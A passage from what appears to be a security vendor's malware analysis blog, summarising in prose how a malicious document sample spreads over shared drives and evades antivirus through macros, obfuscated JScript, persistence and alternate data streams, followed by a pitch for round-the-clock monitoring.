    • This spreading technique relies upon shared network drives where users share documents and would thereby open a compromised document.
  • Attempts to execute the second-stage response using ShellExecute or ShellExecute in conjunction with PowerShell's Start-Process module.

Overall, malicious documents are one of the most common methods of initial breach. The sample analyzed incorporated malformed document headers, malicious embedded VBA macros, PowerShell commands, heavily obfuscated JScript, startup persistence, and payload hiding in NTFS alternate data streams. These are techniques which evaded the detection of many antivirus solutions.

engines-detected-files

When facing unknown threats, or the aforementioned evasion techniques, it is advantageous to have a team of around-the-clock experts monitoring to defend against threats and stop malicious actors in their tracks.

For additional context, we recommend reading the following adjacent and insightful work: